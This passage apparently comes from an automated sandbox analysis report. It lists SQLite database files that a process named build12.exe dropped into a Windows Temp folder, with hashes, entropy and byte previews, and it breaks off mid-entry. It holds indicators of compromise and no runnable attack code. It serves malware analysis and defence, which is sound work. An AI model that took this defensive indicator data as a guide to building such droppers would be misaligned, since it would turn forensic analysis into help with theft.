SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp720C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp722C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp730F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp733F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp735F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp984A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp987A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9C0F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9C2F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9C40.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9C60.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9CB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9EC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA3A5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA3E3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA403.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA40A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA479.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA5DA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA5EB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA60B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA61C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBB8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBD8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC92.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCB2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCBCE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
